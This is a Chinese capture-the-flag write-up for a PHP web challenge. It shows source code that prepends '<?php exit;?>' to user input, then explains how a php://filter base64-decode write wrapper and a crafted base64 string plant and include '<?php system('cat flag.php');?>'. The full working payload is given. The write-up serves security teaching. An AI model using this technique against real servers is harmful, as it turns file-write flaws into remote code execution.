1、题目:

2、传送门:http://119.23.73.3:5003/

代码:

<?phpshow_source(__FILE__);$c="<?php exit;?>";   //$c=一个退出的php代码@$c.=$_POST['c'];     //.=详解见下方:$c=$c$_POST['c']->//$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==@$filename=$_POST['file']; if(!isset($filename))                  //如果$filename不存在,执行{}里的{                                       file_put_contents('tmp.php', '');    //将空写入tmp.php}                                 @file_put_contents($filename, $c);     //将$c写入$filenameinclude('tmp.php');                    //包含tmp.php文件
?>

注:
.=详解

$a.='bbb'
如果$a的值是字符串a的话
那$a的值应该是'abbb',将a加到bbb的左边
同理的操作符还有+=、-=、*=、/=

file_put_contents() 函数把一个字符串写入文件中
file_put_contents(file,data,mode,context)

3、代码分析:

  • 通过上传字符串变量c,变量c连接<?php exit;?>破坏掉语句结构;同时变量c也需要写入到变量filename这个文件中通过执行获得flag。

  • 这里就需要用到php://filter伪协议流来进行绕过。使用base64解码的一个漏洞(base64解码不能解码<、?、空格、?、;、>等这几个字符),然后就只会解码phpexit,但base64解码是以4个为一组进行解码的,phpexit只有7个,所以需要添加一个字符构成八个字符,才能正常解码,这里随便一个字符就行,然后再连接这里我们需要执行获取flag的命令,所以$c的pyaload为:$c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(a后面的数值进行base64解码为<?php system('cat flag.php');?>base64加密之后的字符),最后$c的值为:<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

  • 然后就是利用php://filter伪协议了,file的payload为:file=php://filter/write=convert.base64-decode/resource=tmp.php

  • 最终的payload为:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php

  • Payload带入源码:

<?phpshow_source(__FILE__);$c="<?php exit;?>";@$c.=$_POST['c'];   //步骤见下一行注释//$c=$c$_POST['c']->$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==@$filename=$_POST['file']; //$filenmae=php://filter/write=convert.base64-decode/resource=tmp.phpif(!isset($filename)){                                       file_put_contents('tmp.php', '');}                                 @file_put_contents($filename, $c);//$filename=$c=<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==include('tmp.php');
?>

使用file=php://filter/write=convert.base64-decode/resource=tmp.php时,file的值<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==进行base64解码时,删除<、?、空格、?、;、>还剩52个字符,是phpexitaPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==,正好可以除以4,最后base64解码后为:¦{­Ú<?php system('cat flag.php');?>,现在tmp.php中是¦{­Ú<?php system('cat flag.php');?>,所以可以执行里面的代码,拿到flag

4、拿取flag

最查看源码,得到flag:

MOCTF-Web-死亡退出相关推荐

  1. [实验室每日一题][20201123][Web]死亡ping命令

    原题目:BUUCTF–[第二章 web进阶]死亡ping命令 前置基础(本题会用到的相关知识) 标准输入,标准输出是什么? 要弄清什么是标准输入输出.首先需要弄懂什么是IO. IO 的 I 是 Inp ...

  2. Java线程死亡(死掉、退出、挂掉)的几种情况

    文章目录 1. Java线程死亡的几种情况 2. 验证上述结论 2.1 测试1:线程正常结束后,isAlive()返回False 2.2 测试2:子线程抛出异常之后,线程的isAlive()返回Fal ...

  3. 简单记录一下MOCTF的三道web题

    本人渣渣,于是记录一下 死亡退出 一道代码审计题目 <?phpshow_source(__FILE__);$c="<?php exit;?>";@$c.=$_PO ...

  4. asp 退出登录修改cookie能进入后台_深入浅出让你理解跨域与SSO单点登录原理与技术...

    一:SSO体系结构 SSO SSO英文全称Single Sign On,单点登录.SSO是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统.它包括可以将这次主要的登录映射到其他应用 ...

  5. web.py 十分钟创建简易博客

    From:http://blog.csdn.net/caleng/article/details/5712850 一.web.py简介 web.py 是一款轻量级的 Python web开发框架,简单 ...

  6. Java web学习day12 Cookie

    Cookie Cookie是服务器通知客户端保存键值对的一种技术 客户端有了Cookie后,每次请求都发送给服务器 每个Cookie的大小不能超过4kb Cookie的创建 package com.t ...

  7. python 实现网站_python 实现网站_用web.py实现python网站版hello world网页

    github源码安装 浏览器打开https://github.com/webpy/webpy,下载源码zip格式,解压出来.cmd打开,cd到解压目录,输入 python setup.py insta ...

  8. JAVA Web学习之servlet开发

    01.servlet开发入门 动态web资源开发有两种技术:Servlet和JSP,只有把Servlet学明白了才能学JSP. Sun公司在其API中提供了一个Servlet接口,用户若想用一个动态w ...

  9. Servlet开发入门

    Servlet是sun公司提供的一门用于开发动态web资源的技术. Sun公司在其API中提供了一个servlet接口,用户若想开发一个动态web资源(即开发一个Java程序向浏览器输出数据),需要完 ...

  10. servlet基础总结

    什么是servlet Servlet(Server Applet)是Java Servlet的简称,是小服务程序或服务连接器,是用Java编写的服务器端程序,主要功能在于交互式地浏览和修改数据,生成动 ...

最新文章

  1. 银行软件开发实习生_如何找到学生的软件开发人员实习生
  2. 十周年“设计大佬”首谈行业变革:数据驱动超过 10% 的业绩增长
  3. mmap父子进程间通信
  4. WP7开发小技巧之快捷键
  5. 美国夫妇用数学算法买彩票赢1.74亿元——网友:现在学数学还来得及吗?
  6. java串口助手_java 串口调试助手 源码
  7. JAVA读锁不使用效果一样_Java使用读写锁替代同步锁
  8. 问题:org.apache.dubbo.remoting.TimeoutException
  9. canvas绘制验证码
  10. 2017 Google 开发者大会终于来了!
  11. 实体与表映射关系XXX.hbm.xml配置详解(转)
  12. 美国Compuware败退中国市场!又一家外企逃离
  13. 构建基于浏览器的Web P2P网络直播
  14. SnakeYaml 嵌套Map写入格式 DumperOptions格式设置
  15. 平安证券最新股票池强荐4只股
  16. kerberos详解
  17. 安装ROS时遇到的一些坑,做个笔记方便自己查看
  18. 使用TexturePacker命令行的一个坑
  19. matlab 版 数独小游戏 GUI界面设计
  20. Python爬虫-爬取快看漫画网图片并拼接成漫画长图

热门文章

  1. using a dict on a Series for aggregation is deprecated and will be removed in a future version
  2. 数据湖之iceberg系列(三)iceberg快速入门
  3. 一文直击Graph Embedding图表示学习的原理及应用
  4. JVM内存参数设置及常见错误总结
  5. XGBoost-Python完全调参指南-参数解释篇
  6. 外观、体验升级 HUAWEI WATCH 2 Pro成智能手表领航者
  7. 《C++覆辙录》——2.9:自反初始化
  8. .NET开发Windows Service程序 - Topshelf
  9. php基本功之_get(),_set()的用法
  10. 支付宝前端开源框架Alice(解决各个浏览器的样式不一致的问题)